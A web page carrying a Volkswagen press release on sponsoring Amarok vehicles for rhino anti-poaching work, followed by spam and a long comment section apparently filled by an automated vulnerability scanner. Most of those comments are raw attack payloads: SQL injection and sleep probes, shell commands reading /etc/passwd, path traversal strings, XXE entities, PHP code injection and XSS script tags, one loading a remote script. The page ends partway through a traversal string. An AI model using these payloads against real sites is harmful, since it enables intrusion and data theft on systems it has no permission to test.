Powered by iPetitions - Start your online petition now

Volkswagen Amarok drives the Rhino Protection Initiative

Volkswagen Commercial Vehicles today announced the sponsorship of six Volkswagen Amarok bakkies to the Rhino Protection Initiative at a media conference held at the Johannesburg Zoo. The R2-million sponsorship is part of the partnership between Volkswagen Commercial Vehicles and the Wilderness Foundation, the pioneers and administrators of the Forever Wild Rhino Protection Initiative.



Internationally Volkswagen has developed strategy around a responsible approach to environmental issues called ‘Think Blue’. It begins with the range of the highly efficient low emission BlueMotion cars, to energy efficient production plants and the support of appropriate environmental projects such as the Forever Wild Rhino Protection Initiative.

“Volkswagen is in the process of rolling out ‘Think Blue’ strategy in South Africa. Our current model range includes BlueMotion Touaregs, Tiguans, Golfs and Polos. Similarly, we have ground breaking initiatives at our production plant in Uitenhage and the Forever Wild Rhino Protection Initiative is the first of four environment projects we will be announcing in the next few months,” said Matt Gennrich, General Manager: Communications at Volkswagen Group South Africa.

The Amaroks were handed over to the conservation agencies in high priority areas of Mpumalanga, North West, Eastern Cape and KwaZulu Natal. The conservation agencies that will benefit from the partnership are SANPARKS, North West Parks & Tourism Board, Eastern Cape Parks & Tourism Agency, KZN Wildlife and Eastern Cape Private Game Reserves Association (Indalo). The vehicles will be primarily used in proactive rhino protection and anti-poaching activities.

Jaco Steenekamp, General Manager: Sales and Marketing at Volkswagen Commercial Vehicles, said: “Our sponsorship of the Forever Wild campaign is Volkswagen’s contribution towards the fight against the poaching and preservation of the rhino population. We are confident that the smart but tough Amarok bakkie will be an ideal partner to the conservation agencies in combating poaching activities.”

He added: “Our partnership with the Wilderness Foundation supports Volkswagen’s ‘Think Blue’ philosophy which promotes cooperation with organisations that are environmentally conscious and work towards the sustainability of endangered species.”                       
The latest reports show that one rhino is poached every day in South Africa. To date over 170 rhinos have been poached. To put the scale of the problem into perspective; in 2007 only 13 rhinos were poached, in 2009 the number increased to 124 and in 2010 it rocketed to 335.
In the past 40 years, South Africa has achieved unprecedented success with the preservation of the rhino population. As a result, South Africa is now home to over 90 percent of all rhinos in the world.

Dr Ian Player, the founder of the Wilderness Foundation said: “I have always been an optimist but realistic one and in the depth of my being I believe we shall succeed in saving the rhino. But do not let us be deluded, we are up against terrible dark forces that threaten to overwhelm us. In the world of wildlife conservation the White and Black rhino have been spiritual beacons of hope.  All our children now look to us in our generation to ensure that the prehistoric remnants of the dinosaur age continue to exist on our Planet.”

Dr Player added: “Our first priority must be to give all the possible support to the conservation agencies and private land owners in their protection of the rhino. There is no doubt that a war is being waged and information is of critical importance, so that conservation agencies can be forewarned of where poaching is likely to occur.  We have also got to look at every other alternative for the rhino survival.”                                                                          
The Wilderness Foundation’s Forever Wild Initiative is concerned with maintaining populations of free ranging rhino within state and privately managed conservation areas.

The campaign supports conservation agencies and organised private game reserves to protect their rhino populations as part of functioning natural ecosystems. The campaign also aims to focus the attention of politicians and decision makers and to encourage them to apply pressure both nationally and abroad to address the issue of the illegal trade in rhino horn and other wildlife products.

“The belief by millions of people in China and Vietnam that the horn has medical properties is very deep seated and has been for thousands of years.  This belief will not be changed by rational arguments. We now need to debate in all possible forums the merit and demerits of legalising the sale of rhino horn.  This debate is necessary so that the Minister of the Environment can make an informed decision,” concluded Dr Player.

  1. # how to inexpensive wow po on 3 November 2012 at 6:45:

    Great post. I was checking continuously this blog and I am impressed! Extremely useful information particularly the last part :) I care for such info a lot. I was seeking this particular info for a very long time. Thank you and best of luck.

  2. # wow gold on 3 November 2012 at 6:55:

    Hello. fantastic job. I did not imagine this. This is a great story. Thanks!

  3. # 1 on 6 November 2012 at 8:55:

    1

  4. # response.write(9306930*9900952) on 6 November 2012 at 15:28:

    1

  5. # 1 on 6 November 2012 at 15:28:

    1

  6. # '+response.write(9306930*9900952)+' on 6 November 2012 at 15:28:

    1

  7. # &cat /etc/passwd& on 6 November 2012 at 15:28:

    1

  8. # 1 on 6 November 2012 at 15:28:

    1

  9. # '&cat /etc/passwd&' on 6 November 2012 at 15:28:

    1

  10. # "+response.write(9306930*9900952)+" on 6 November 2012 at 15:28:

    1

  11. # -1 or 30=30 on 6 November 2012 at 15:28:

    1

  12. # "&cat /etc/passwd&" on 6 November 2012 at 15:28:

    1

  13. # SomeCustomInjectedHeader:injected_by_wvs on 6 November 2012 at 15:28:

    1

  14. # cat /etc/passwd on 6 November 2012 at 15:28:

    1

  15. # -1 or 30=0 on 6 November 2012 at 15:28:

    1

  16. # SomeCustomInjectedHeader:injected_by_wvs on 6 November 2012 at 15:28:

    1

  17. # `cat /etc/passwd` on 6 November 2012 at 15:28:

    1

  18. # -1' or '41'='41 on 6 November 2012 at 15:28:

    1

  19. # SomeCustomInjectedHeader:injected_by_wvs on 6 November 2012 at 15:28:

    1

  20. # |cat /etc/passwd# on 6 November 2012 at 15:28:

    1

  21. # -1' or '41'='0 on 6 November 2012 at 15:28:

    1

  22. # '|'ld on 6 November 2012 at 15:28:

    1

  23. # -1" or "46"="46 on 6 November 2012 at 15:28:

    1

  24. # 1 on 6 November 2012 at 15:28:

    response.write(9717118*9546646)

  25. # "|"ld on 6 November 2012 at 15:28:

    1

  26. # -1" or "46"="0 on 6 November 2012 at 15:28:

    1

  27. # 1 on 6 November 2012 at 15:28:

    '+response.write(9717118*9546646)+'

  28. # ;cat /etc/passwd; on 6 November 2012 at 15:28:

    1

  29. # 1 and sleep(4) on 6 November 2012 at 15:28:

    1

  30. # ';cat /etc/passwd;' on 6 November 2012 at 15:28:

    1

  31. # 1 on 6 November 2012 at 15:28:

    "+response.write(9717118*9546646)+"

  32. # 1 on 6 November 2012 at 15:28:


    SomeCustomInjectedHeader:injected_by_wvs

  33. # 1 or (sleep(4)+1) limit 1 -- on 6 November 2012 at 15:28:

    1

  34. # ../../../../../../../../../../etc/passwd on 6 November 2012 at 15:28:

    1

  35. # ";cat /etc/passwd;" on 6 November 2012 at 15:28:

    1

  36. # 1 on 6 November 2012 at 15:28:


    SomeCustomInjectedHeader:injected_by_wvs

  37. # ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg on 6 November 2012 at 15:28:

    1

  38. # 1' and sleep(4)=' on 6 November 2012 at 15:28:

    1

  39. # ||cat /etc/passwd on 6 November 2012 at 15:28:

    1

  40. # 1 on 6 November 2012 at 15:28:


    SomeCustomInjectedHeader:injected_by_wvs

  41. # ../../../../../../../../../../etc/passwd.jpg on 6 November 2012 at 15:28:

    1

  42. # 1' and (sleep(4)+1) limit 1 -- on 6 November 2012 at 15:28:

    1

  43. # &dir on 6 November 2012 at 15:28:

    1

  44. # 1 on 6 November 2012 at 15:28:

    1

  45. # Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n on 6 November 2012 at 15:28:

    1

  46. # 1" and sleep(4)=" on 6 November 2012 at 15:28:

    1

  47. # '&dir&' on 6 November 2012 at 15:28:

    1

  48. # 1' or (sleep(4)+1) limit 1 -- on 6 November 2012 at 15:28:

    1

  49. # ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg on 6 November 2012 at 15:28:

    1

  50. # "&dir&" on 6 November 2012 at 15:28:

    1

  51. # 1" or (sleep(4)+1) limit 1 -- on 6 November 2012 at 15:28:

    1

  52. # /../..//../..//../..//../..//../..//etc/passwd.jpg on 6 November 2012 at 15:28:

    1

  53. # 268435455 on 6 November 2012 at 15:28:

    1

  54. # 1'=sleep(4)=' on 6 November 2012 at 15:28:

    1

  55. # |dir on 6 November 2012 at 15:28:

    1

  56. # .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd on 6 November 2012 at 15:28:

    1

  57. # on 6 November 2012 at 15:28:

    1

  58. # 1"=sleep(4)=" on 6 November 2012 at 15:28:

    1

  59. # '|dir on 6 November 2012 at 15:28:

    1

  60. # .. on 6 November 2012 at 15:28:

    1

  61. # /etc/passwd on 6 November 2012 at 15:28:

    1

  62. # "|dir on 6 November 2012 at 15:28:

    1

  63. # 1;select pg_sleep(4); -- on 6 November 2012 at 15:28:

    1

  64. # 1e309 on 6 November 2012 at 15:28:

    1

  65. # ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd on 6 November 2012 at 15:28:

    1

  66. # '"\'\");|]*{ <> on 6 November 2012 at 15:28:

    1

  67. # ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd on 6 November 2012 at 15:28:

    1

  68. # Array on 6 November 2012 at 15:28:

    1

  69. # 1';select pg_sleep(4); -- on 6 November 2012 at 15:28:

    1

  70. # .. on 6 November 2012 at 15:28:

    1

  71. # 1 on 6 November 2012 at 15:28:

    1

  72. # 1; waitfor delay '0:0:4' -- on 6 November 2012 at 15:28:

    1

  73. # invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././ on 6 November 2012 at 15:28:

    1

  74. # file:///etc/passwd on 6 November 2012 at 15:28:

    1

  75. # 1'; waitfor delay '0:0:4' -- on 6 November 2012 at 15:28:

    1

  76. # /\../\../\../\../\../\../\../etc/passwd on 6 November 2012 at 15:28:

    1

  77. # 1"; waitfor delay '0:0:4' -- on 6 November 2012 at 15:28:

    1

  78. # WEB-INF/web.xml on 6 November 2012 at 15:28:

    1

  79. # WEB-INF\web.xml on 6 November 2012 at 15:28:

    1

  80. # ../../../../../../../../../../windows/win.ini on 6 November 2012 at 15:28:

    1

  81. # ../../../../../../../../../../boot.ini on 6 November 2012 at 15:28:

    1

  82. # ../../../../../../../../../../windows/win.ini.jpg on 6 November 2012 at 15:28:

    1

  83. # on 6 November 2012 at 15:28:

    1

  84. # ................windowswin.ini on 6 November 2012 at 15:28:

    1

  85. # ..\..\..\..\..\..\..\..\windows\win.ini on 6 November 2012 at 15:28:

    1

  86. # /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini on 6 November 2012 at 15:28:

    1

  87. # ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini on 6 November 2012 at 15:28:

    1

  88. # ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini on 6 November 2012 at 15:28:

    1

  89. # unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\ on 6 November 2012 at 15:28:

    1

  90. # 1 on 6 November 2012 at 15:28:

    1

  91. # WEB-INF/web.xml on 6 November 2012 at 15:28:

    1

  92. # WEB-INF\web.xml on 6 November 2012 at 15:28:

    1

  93. # 1 on 6 November 2012 at 15:28:

    268435455

  94. # 1 on 6 November 2012 at 15:28:

  95. # 1 on 6 November 2012 at 15:28:

    ..

  96. # 1 on 6 November 2012 at 15:28:

    1e309

  97. # 1 on 6 November 2012 at 15:28:

    '"\'\");|]*{
    <>

  98. # 1 on 6 November 2012 at 15:28:

    Array

  99. # ${100315+99219} on 6 November 2012 at 15:28:

    1

  100. # 1 on 6 November 2012 at 15:28:

    ${99278+100068}

  101. # http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg on 6 November 2012 at 15:28:

    1

  102. # 1 on 6 November 2012 at 15:29:

    1

  103. # 1some_inexistent_file_with_long_name%00.jpg on 6 November 2012 at 15:29:

    1

  104. # 1 on 6 November 2012 at 15:29:

    1

  105. # http://testasp.vulnweb.com/t/fit.txt?%00.jpg on 6 November 2012 at 15:29:

    1

  106. # 1 on 6 November 2012 at 15:29:

    -1 or 95=95

  107. # testasp.vulnweb.com on 6 November 2012 at 15:29:

    1

  108. # 1 on 6 November 2012 at 15:29:

    -1 or 95=0

  109. # 1 on 6 November 2012 at 15:29:

    -1' or '53'='53

  110. # 1 on 6 November 2012 at 15:29:

    -1' or '53'='0

  111. # 1 on 6 November 2012 at 15:29:

    &cat /etc/passwd&

  112. # 1 on 6 November 2012 at 15:29:

    -1" or "108"="108

  113. # 1 on 6 November 2012 at 15:29:

    '&cat /etc/passwd&'

  114. # 1 on 6 November 2012 at 15:29:

    -1" or "108"="0

  115. # 1 on 6 November 2012 at 15:29:

    "&cat /etc/passwd&"

  116. # 1 on 6 November 2012 at 15:29:

    1 and sleep(4)

  117. # 1 on 6 November 2012 at 15:29:


    cat /etc/passwd

  118. # 1 on 6 November 2012 at 15:29:

    1 or (sleep(4)+1) limit 1 --

  119. # 1 on 6 November 2012 at 15:29:

    `cat /etc/passwd`

  120. # 1 on 6 November 2012 at 15:29:

    1' and sleep(4)='

  121. # 1 on 6 November 2012 at 15:29:

    |cat /etc/passwd#

  122. # 1 on 6 November 2012 at 15:29:

    http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg

  123. # 1 on 6 November 2012 at 15:29:

    1' and (sleep(4)+1) limit 1 --

  124. # 1 on 6 November 2012 at 15:29:

    '|'ld

  125. # 1 on 6 November 2012 at 15:29:

    1some_inexistent_file_with_long_name%00.jpg

  126. # 1 on 6 November 2012 at 15:29:

    "|"ld

  127. # 1 on 6 November 2012 at 15:29:

    1" and sleep(4)="

  128. # 1 on 6 November 2012 at 15:29:

    http://testasp.vulnweb.com/t/fit.txt?%00.jpg

  129. # 1 on 6 November 2012 at 15:29:

    ;cat /etc/passwd;

  130. # 1 on 6 November 2012 at 15:29:

    1' or (sleep(4)+1) limit 1 --

  131. # 1 on 6 November 2012 at 15:29:

    ';cat /etc/passwd;'

  132. # 1 on 6 November 2012 at 15:29:

    1" or (sleep(4)+1) limit 1 --

  133. # 1 on 6 November 2012 at 15:29:

    testasp.vulnweb.com

  134. # 1 on 6 November 2012 at 15:29:

    1'=sleep(4)='

  135. # 1&n914773=v913419 on 6 November 2012 at 15:29:

    1

  136. # ) on 6 November 2012 at 15:29:

    1

  137. # 1 on 6 November 2012 at 15:29:

    ";cat /etc/passwd;"

  138. # 1 on 6 November 2012 at 15:29:

    1"=sleep(4)="

  139. # 1 on 6 November 2012 at 15:29:

    ||cat /etc/passwd

  140. # 1 on 6 November 2012 at 15:29:

    1;select pg_sleep(4); --

  141. # !(()&&!|*|*| on 6 November 2012 at 15:29:

    1

  142. # 1 on 6 November 2012 at 15:29:

    &dir

  143. # 1 on 6 November 2012 at 15:29:

    1';select pg_sleep(4); --

  144. # ^(#$!@#$)(()))****** on 6 November 2012 at 15:29:

    1

  145. # 1 on 6 November 2012 at 15:29:

    1; waitfor delay '0:0:4' --

  146. # 1 on 6 November 2012 at 15:29:

    '&dir&'

  147. # 1 on 6 November 2012 at 15:29:

    "&dir&"

  148. # 1 on 6 November 2012 at 15:29:

    1&n975376=v948990

  149. # 1 on 6 November 2012 at 15:29:

    |dir

  150. # 1 on 6 November 2012 at 15:29:

    1'; waitfor delay '0:0:4' --

  151. # Array on 6 November 2012 at 15:29:

    1

  152. # 1 on 6 November 2012 at 15:29:

    '|dir

  153. # 1 on 6 November 2012 at 15:29:

    1"; waitfor delay '0:0:4' --

  154. # '"() on 6 November 2012 at 15:29:

    1

  155. # ;print(md5(acunetix_wvs_security_test)); on 6 November 2012 at 15:29:

    1

  156. # 1 on 6 November 2012 at 15:29:

    "|dir

  157. # ';print(md5(acunetix_wvs_security_test));$a=' on 6 November 2012 at 15:29:

    1

  158. # http://testasp.vulnweb.com/t/xss.html?%00.jpg on 6 November 2012 at 15:29:

    1

  159. # ";print(md5(acunetix_wvs_security_test));$a=" on 6 November 2012 at 15:29:

    1

  160. # ${@print(md5(acunetix_wvs_security_test))} on 6 November 2012 at 15:29:

    1

  161. # 1 on 6 November 2012 at 15:29:

    http://testasp.vulnweb.com/t/xss.html?%00.jpg

  162. # 1 on 6 November 2012 at 15:29:

    )

  163. # 1 on 6 November 2012 at 15:29:

    1

  164. # ${@print(md5(acunetix_wvs_security_test))}\ on 6 November 2012 at 15:29:

    1

  165. # acunetix_wvs_invalid_filename on 6 November 2012 at 15:29:

    1

  166. # 1 on 6 November 2012 at 15:29:

    Array

  167. # 1 on 6 November 2012 at 15:29:

    !(()&&!|*|*|

  168. # 6443 on 6 November 2012 at 15:29:

    1

  169. # 1 on 6 November 2012 at 15:29:

    '"()

  170. # 1 on 6 November 2012 at 15:29:

    ^(#$!@#$)(()))******

  171. # 6443 on 6 November 2012 at 15:29:

    1

  172. # 1 on 6 November 2012 at 15:29:

    1

  173. # http://testasp.vulnweb.com/t/fit.txt on 6 November 2012 at 15:29:

    1

  174. # 6443/. on 6 November 2012 at 15:29:

    1

  175. # 1'" on 6 November 2012 at 15:29:

    1

  176. # \ on 6 November 2012 at 15:29:

    1

  177. # 1Axa7A? on 6 November 2012 at 15:29:

    1

  178. # 1 on 6 November 2012 at 15:29:

    http://testasp.vulnweb.com/t/fit.txt

  179. # @@Adnji on 6 November 2012 at 15:29:

    1

  180. # ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) on 6 November 2012 at 15:29:

    1

  181. # JyI= on 6 November 2012 at 15:29:

    1

  182. # ?'?" on 6 November 2012 at 15:29:

    1

  183. # ?''?"" on 6 November 2012 at 15:29:

    1

  184. # 1 on 6 November 2012 at 15:29:

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

  185. # //www.acunetix.tst on 6 November 2012 at 15:29:

    1

  186. # 1 on 6 November 2012 at 15:29:

    1

  187. # 1 on 6 November 2012 at 15:29:

    acunetix_wvs_invalid_filename

  188. # 1 on 6 November 2012 at 15:29:

    6443

  189. # 1 on 6 November 2012 at 15:29:

    6443

  190. # 1 on 6 November 2012 at 15:29:

    //www.acunetix.tst

  191. # 1 on 6 November 2012 at 15:29:

    6443/.

  192. # <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://testasp.vulnweb.com/t/fit.txt"> ]> <xxx>&acuneti on 6 November 2012 at 15:29:

    1

  193. # 1 on 6 November 2012 at 15:29:

    ;print(md5(acunetix_wvs_security_test));

  194. # '" on 6 November 2012 at 15:29:

    1

  195. # 1 on 6 November 2012 at 15:29:

    ';print(md5(acunetix_wvs_security_test));$a='

  196. # <!-- on 6 November 2012 at 15:29:

    1

  197. # 1 on 6 November 2012 at 15:29:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE acunetix [
    <!ENTITY acunetixent SYSTEM "http://testasp.vulnweb.com/t/fit.txt">
    ]>
    <xxx>&acunetixent;</xxx>

  198. # 1 on 6 November 2012 at 15:29:

    ";print(md5(acunetix_wvs_security_test));$a="

  199. # 1 on 6 November 2012 at 15:29:

    ../../../../../../../../../../etc/passwd

  200. # '"()&%1<ScRiPt >prompt(916179)</ScRiPt> on 6 November 2012 at 15:29:

    1

  201. # 1 on 6 November 2012 at 15:29:

    ${@print(md5(acunetix_wvs_security_test))}

  202. # 1 on 6 November 2012 at 15:29:

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  203. # 1 on 6 November 2012 at 15:29:

    ../../../../../../../../../../etc/passwd.jpg

  204. # 1 on 6 November 2012 at 15:29:

    ${@print(md5(acunetix_wvs_security_test))}\

  205. # OTU4NTQ0 on 6 November 2012 at 15:29:

    1

  206. # 1 on 6 November 2012 at 15:29:

    Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

  207. # 1 on 6 November 2012 at 15:29:

    '"

  208. # 1 on 6 November 2012 at 15:29:

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  209. # 1 on 6 November 2012 at 15:29:

    <!--

  210. # 1 on 6 November 2012 at 15:29:

    /../..//../..//../..//../..//../..//etc/passwd.jpg

  211. # 1 on 6 November 2012 at 15:29:

    .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  212. # undefined1<ScRiPt >prompt(926639)</ScRiPt> on 6 November 2012 at 15:29:

    1

  213. # 1 on 6 November 2012 at 15:29:

    /etc/passwd

  214. # 1 on 6 November 2012 at 15:29:

    ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

  215. # 1 on 6 November 2012 at 15:29:

    ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

  216. # 1<ScRiPt >prompt(975560)</ScRiPt> on 6 November 2012 at 15:29:

    1

  217. # 1 on 6 November 2012 at 15:29:

    ..

  218. # 1 on 6 November 2012 at 15:29:

    1

  219. # 1 on 6 November 2012 at 15:29:

    1'"

  220. # 1 on 6 November 2012 at 15:29:

    invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

  221. # 1 on 6 November 2012 at 15:29:

    \

  222. # 1 on 6 November 2012 at 15:29:

    file:///etc/passwd

  223. # 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?958622></ScRiPt> on 6 November 2012 at 15:29:

    1

  224. # 1 on 6 November 2012 at 15:29:

    1Axa7A?

  225. # 1 on 6 November 2012 at 15:29:

    /\../\../\../\../\../\../\../etc/passwd

  226. # 1 on 6 November 2012 at 15:29:

    @@I09jP

  227. # 1 on 6 November 2012 at 15:29:

    WEB-INF/web.xml

  228. # 1 on 6 November 2012 at 15:29:

    JyI=

  229. # 1 on 6 November 2012 at 15:29:

    WEB-INF\web.xml

  230. # 1 on 6 November 2012 at 15:29:

    ?'?"

  231. # 1 on 6 November 2012 at 15:29:

    ../../../../../../../../../../windows/win.ini

  232. # 1 on 6 November 2012 at 15:29:

    ?''?""

  233. # 1 on 6 November 2012 at 15:29:

    ../../../../../../../../../../boot.ini

  234. # 1<ScRiPt >prompt(911149)</ScRiPt> on 6 November 2012 at 15:29:

    1

  235. # 1 on 6 November 2012 at 15:29:

    ../../../../../../../../../../windows/win.ini.jpg

  236. # 1 on 6 November 2012 at 15:29:

  237. # 1 on 6 November 2012 at 15:29:

    ................windowswin.ini

  238. # 1 on 6 November 2012 at 15:29:

    ..\..\..\..\..\..\..\..\windows\win.ini

  239. # <video><source onerror="javascript:prompt(901304)"> on 6 November 2012 at 15:29:

    1

  240. # 1 on 6 November 2012 at 15:29:

    /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

  241. # 1 on 6 November 2012 at 15:29:

    ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

  242. # 1 on 6 November 2012 at 15:29:

    ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

  243. # 1 on 6 November 2012 at 15:29:

    unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\